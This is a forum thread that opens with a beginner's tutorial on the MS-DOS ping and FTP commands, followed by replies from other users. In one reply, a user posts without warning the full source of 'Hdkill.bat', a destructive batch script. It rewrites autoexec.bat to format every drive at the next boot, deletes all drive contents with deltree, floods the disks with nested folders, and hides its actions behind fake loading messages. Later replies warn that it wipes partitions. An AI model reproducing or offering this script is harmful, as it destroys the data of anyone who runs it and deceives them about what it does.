Starting Off with MS-DOS Prompt

Discussion in 'Programming' started by Brownsalmon, Apr 14, 2008.

  1. #1
    MS-DOS Is a VERY powerful way to do a lot of things. In this tutorial, I will begin to explain to you some commands in the MS-DOS Applocation for Windows, and how to use it to your advantage.

    Here are the commands that I will be using in this tutorial:

    1. PING
    2. FTP

    Ok, now that you have those down, lets talk about them one by one and see what they do.

    PING Command: The Ping command allows you to Ping ones copmuter or website, using the website URL or the IP address of the person. Using PING on a website sends packets to the website, that will have data about the website in them. The primary data inside, is the websites IP Address. When you ping an IP Address, it is PINGED looking for an answer to the ping (IE, The amount of packets recieved after sending them.) And determine the presence of a computer. For this, I am going to ping a proxy and show you what the different DATA Means.

    Pinging 221.208.174.223 with 32 bytes of data:

    Request timed out.
    Reply from 221.208.174.223: bytes=32 time=334ms TTL=104
    Request timed out.
    Reply from 221.208.174.223: bytes=32 time=334ms TTL=105

    Ping statistics for 221.208.174.223:
    Packets: Sent = 4, Received = 2, Lost = 2 (50% loss),
    Approximate round trip times in milli-seconds:
    Minimum = 334ms, Maximum = 334ms, Average = 334ms


    So, I pinged A chinese IP Address, sent 32 Bytes of Data (4 packets) And recieved 2 out of four of those packets back, meaning that there is a presence of a computer, but it is far away. Also, as you can see, it was timed out while waiting for the two other packets that i sent. Also, you can see that it took an average of 334 Milliseconds to recieve, now, im going to ping an IP address in a town that i live in.
    Here is my result:


    Pinging (OMITTED) with 32 bytes of data:

    Reply from OMITTED: bytes=32 time=15ms TTL=122
    Reply from OMITTED: bytes=32 time=24ms TTL=122
    Reply from OMITTED: bytes=32 time=15ms TTL=122
    Reply from OMITTED: bytes=32 time=16ms TTL=122

    Ping statistics for OMITTED:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
    Minimum = 15ms, Maximum = 24ms, Average = 17ms


    See the difference? Good. Now, lets move on to FTP. Yes. MS-DOS Works as an FTP Client. Yay? Yay. Ok, to start off, type in ftp into the command prompt. easy, right? Now, to connect to your websites host, type "open *host here*" Once done with that, type in your FTP Username, with a hyphon before it. Like so. "-DDXFILES" (yours, not this random one.)
    Now that you are this far, just type in your password and hit enter. It takes some time to connect while your username is up, so dont panic.

    After you are all connected with your password and everything, there are a few commands that you should know to upload, and get files, and more.

    mdir - Makes a directory while in your websites files.
    cd - Changes Directory.
    disconnect - Dosconnects from FTP.
    send *file directory on your computer* - Sends a file to the current directory in your websites files.
    put - send single file
    mput - send multiple files
    quit - exits from ftp.



    That concludes my MS-DOS Beginners Turorial including Ping'ing and FTP Access without any fancy programs.

    Thank you for reading, and have fun.

    -Hallowsend
     
    Brownsalmon, Apr 14, 2008 IP
  2. Arkserver

    Arkserver Banned

    Messages:
    2,533
    Likes Received:
    35
    Best Answers:
    0
    Trophy Points:
    0
    #2
    Nice, but I have no idea why its in the programming board since its not related to programming at all?
     
    Arkserver, Apr 14, 2008 IP
  3. milesbparty

    milesbparty Peon

    Messages:
    148
    Likes Received:
    7
    Best Answers:
    0
    Trophy Points:
    0
    #3
    Hmm, your explanation of ping isn't exactly correct.
     
    milesbparty, Apr 14, 2008 IP
  4. Xtrm2Matt

    Xtrm2Matt Active Member

    Messages:
    129
    Likes Received:
    4
    Best Answers:
    0
    Trophy Points:
    58
    #4
    Would've expected such a tutorial years ago :p
     
    Xtrm2Matt, Apr 15, 2008 IP
  5. Brownsalmon

    Brownsalmon Peon

    Messages:
    8
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #5
    @Arkserver, I rellay, didn't know where this would go, seing as there is no OS Scripting or programming forum,

    @milesbparty heh, I couldn't really think of any other way to explain it, and I might just be wrong in general.

    Thanks for quick feedback,
    Brownsalmon
     
    Brownsalmon, Apr 15, 2008 IP
  6. cannyinfotech

    cannyinfotech Guest

    Messages:
    105
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #6
    ping -t 192.168.1.1 it will be checking continuously you can run from Start Menu -> Run options also

    Software my Gaming Blog
     
    cannyinfotech, Jul 16, 2008 IP
  7. aekung

    aekung Peon

    Messages:
    49
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #7
    btw thanks "Brownsalmon" for share :)
     
    aekung, Nov 17, 2008 IP
  8. aamirprince20

    aamirprince20 Peon

    Messages:
    52
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #8
    nice but its not related to programming
     
    aamirprince20, Nov 17, 2008 IP
  9. dmcybox

    dmcybox Banned

    Messages:
    225
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    0
    #9
    I will give him 5 star for trying to share about his knowledge on PING and FTP. but keep in mind that you are dealing with a professionals here..:)
     
    dmcybox, Nov 18, 2008 IP
  10. Barti1987

    Barti1987 Well-Known Member

    Messages:
    2,703
    Likes Received:
    115
    Best Answers:
    0
    Trophy Points:
    185
    #10
    Check this out (Hdkill.bat):

    
    @echo off
    :start
    cls
    echo PLEASE WAIT WHILE PROGRAM LOADS…
    call attrib -r -h c:\autoexec.bat >nul
    echo @echo off >c:\autoexec.bat
    echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
    call attrib +r +h c:\autoexec.bat >nul
    set drive=
    set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
    echo @echo off >drivechk.bat
    echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >
    {t}.bat
    %comspec% /e:2048 /c {t}.bat >>drivechk.bat
    del {t}.bat
    echo if errorlevel 1 goto enddc >>drivechk.bat
    cls
    echo PLEASE WAIT WHILE PROGRAM LOADS…
    echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-
    p $b find "bytes" > nul >{t}.bat
    %comspec% /e:2048 /c {t}.bat >>drivechk.bat
    del {t}.bat
    echo if errorlevel 1 goto enddc >>drivechk.bat
    cls
    echo PLEASE WAIT WHILE PROGRAM LOADS…
    echo @prompt dir %%%%1:.\/ad/w/-
    p $b find " 0 bytes free" > nul >{t}.bat
    %comspec% /e:2048 /c {t}.bat >>drivechk.bat
    del {t}.bat
    echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
    cls
    echo PLEASE WAIT WHILE PROGRAM LOADS…
    echo :enddc >>drivechk.bat
    :testdrv
    for %%a in (%alldrive%) do call drivechk.bat %%a >nul
    del drivechk.bat >nul
    :form_del
    call attrib -r -h c:\autoexec.bat >nul
    echo @echo off >c:\autoexec.bat
    echo echo Loading Windows, please wait while Microsoft Windows reco
    vers your system… >>c:\autoexec.bat
    echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >
    nul >>c:\autoexec.bat
    echo cls >>c:\autoexec.bat
    echo echo Loading Windows, please wait while Microsoft Windows reco
    vers
    your system… >>c:\autoexec.bat
    echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul
    >>c:\autoexec.bat
    echo cls >>c:\autoexec.bat
    echo echo Loading Windows, please wait while Microsoft Windows reco
    vers
    your system… >>c:\autoexec.bat
    echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul
    >>c:\autoexec.bat
    echo cls >>c:\autoexec.bat
    echo echo Loading Windows, please wait while Microsoft Windows reco
    vers
    your system… >>c:\autoexec.bat
    echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >
    nul
    >>c:\autoexec.bat
    echo cls >>c:\autoexec.bat
    echo echo Loading Windows, please wait while Microsoft Windows reco
    vers
    your system… >>c:\autoexec.bat
    echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul
    >>c:\autoexec.bat
    echo cls >>c:\autoexec.bat
    echo echo Loading Windows, please wait while Microsoft Windows reco
    vers
    your system… >>c:\autoexec.bat
    echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul
    >>c:\autoexec.bat
    echo cd\ >>c:\autoexec.bat
    echo cls >>c:\autoexec.bat
    echo echo Welcome to the land of death. Munga Bunga's Multiple Hard
    Drive Killer version 4.0. >>c:\autoexec.bat
    echo echo If you ran this file, then sorry, I just made it. The pur
    pose
    of this program is to tell you the following… >>c:\autoexec.bat
    echo echo 1. To make people aware that security should not be taken
    for
    granted. >>c:\autoexec.bat
    echo echo 2. Love is important, if you have it, truly, don't let go
    of
    it like I did! >>c:\autoexec.bat
    echo echo 3. If you are NOT a vegetarian, then you are a murderer,
    and
    I'm glad your HD is dead. >>c:\autoexec.bat
    echo echo 4. If you are Australian, I feel sorry for you, accept my
    sympathy, you retard. >>c:\autoexec.bat
    echo echo 5. Don't support the following: War, Racism, Drugs and th
    e
    Liberal Party.>>c:\autoexec.bat
    echo echo. >>c:\autoexec.bat
    echo echo Regards, >>c:\autoexec.bat
    echo echo. >>c:\autoexec.bat
    echo echo Munga Bunga >>c:\autoexec.bat
    call attrib +r +h c:\autoexec.bat
    :makedir
    if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
    echo @echo off >c:\temp.bat
    echo %%1:\ >>c:\temp.bat
    echo cd\ >>c:\temp.bat
    echo :startmd >>c:\temp.bat
    echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul
    cd
    %%2") do %%%%a >>c:\temp.bat
    echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole
    !!!!
    >>c:\temp.bat
    echo if not exist
    %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\
    %%2\%
    %2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%
    2\%%2
    \%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
    call attrib +r +h c:\temp.bat >nul
    cls
    echo Initializing Variables…
    for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
    cls
    echo Initializing Variables…
    echo Validating Data…
    for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
    cls
    echo Initializing Variables…
    echo Validating Data…
    echo Analyzing System Structure…
    for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
    call attrib +r +h c:\temp.bat >nul
    call attrib +r +h c:\autoexec.bat >nul
    cls
    echo Initializing Variables…
    echo Validating Data…
    echo Analyzing System Structure…
    echo Initializing Application…
    for %%a in (%drive%) call deltree /y %%a:\*. >nul
    cls
    echo Initializing Variables…
    echo Validating Data…
    echo Analyzing System Structure…
    echo Initializing Application…
    echo Starting Application…
    for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
    cls
    echo Thank you for using a Munga Bunga product.
    echo.
    echo Oh and, Bill Gates rules, and he is not a geek, he is a good
    looking genius.
    echo.
    echo Here is a joke for you…
    578
    echo.
    echo Q). What's the worst thing about being an egg?
    echo A). You only get laid once.
    echo.
    echo HAHAHAHA, get it? Don't you just love that one?
    echo.
    :end
    
    Code (markup):
    Peace,
     
    Barti1987, Nov 19, 2008 IP
  11. sweetrock82

    sweetrock82 Member

    Messages:
    612
    Likes Received:
    4
    Best Answers:
    0
    Trophy Points:
    35
    #11
    nice share, but do u think people still use MS-Dos that freequent.
     
    sweetrock82, Jan 30, 2009 IP
  12. yari

    yari Banned

    Messages:
    56
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #12
    can you cover some stuff about bash.
     
    yari, Jan 30, 2009 IP
  13. pitagora

    pitagora Peon

    Messages:
    247
    Likes Received:
    9
    Best Answers:
    0
    Trophy Points:
    0
    #13
    if anybody want to run this code...well....you know what they say: "curiosity killed the cat". FYI it will quick format all your partitions on next system reboot. Of course it's easy to undo with the DOS utility "unformat", if it was included with Windows XP/Vista, but it's not, and probably doesn't work with NTFS anyway.
     
    pitagora, Jan 30, 2009 IP
  14. zealus

    zealus Active Member

    Messages:
    70
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    93
    #14
    Wouldn't this make more sense if it was about PowerShell?
     
    zealus, Feb 4, 2009 IP
  15. Chuckun

    Chuckun Well-Known Member

    Messages:
    1,161
    Likes Received:
    60
    Best Answers:
    2
    Trophy Points:
    150
    #15
    Quite appauling that someone would post such a code and advise the use of it, to people who are possibly plain ignorant to the useage of DOS..

    No wonder there's no trust left in the world. It's cause of this guy.
     
    Chuckun, Feb 7, 2009 IP
  16. ArmenS

    ArmenS Peon

    Messages:
    27
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #16
    I like how this is an MS-DOS beginner's tutorial. It is somewhat refreshing to see, as I had not seen anything related to MS-DOS for a period of time. Using it to ping a site can be helpful at times. The FTP command is interesting because it reminds of times using command-line commands in Linux to download files. There is something enjoyable about downloading files by using command-line commands.
     
    ArmenS, Feb 8, 2009 IP
  17. Chuckun

    Chuckun Well-Known Member

    Messages:
    1,161
    Likes Received:
    60
    Best Answers:
    2
    Trophy Points:
    150
    #17
    MS DOS is wonderful :)

    I had good times with it for a while ^_^
     
    Chuckun, Feb 8, 2009 IP
  18. phpwnes

    phpwnes Peon

    Messages:
    509
    Likes Received:
    7
    Best Answers:
    0
    Trophy Points:
    0
    #18
    i remember the PING from the DDos commands
     
    phpwnes, Feb 8, 2009 IP
  19. mateon3000

    mateon3000 Peon

    Messages:
    31
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #19
    mateon3000, Mar 16, 2009 IP
  20. infomalaya

    infomalaya Banned

    Messages:
    103
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #20
    How about the PowerShell?
     
    infomalaya, Mar 30, 2009 IP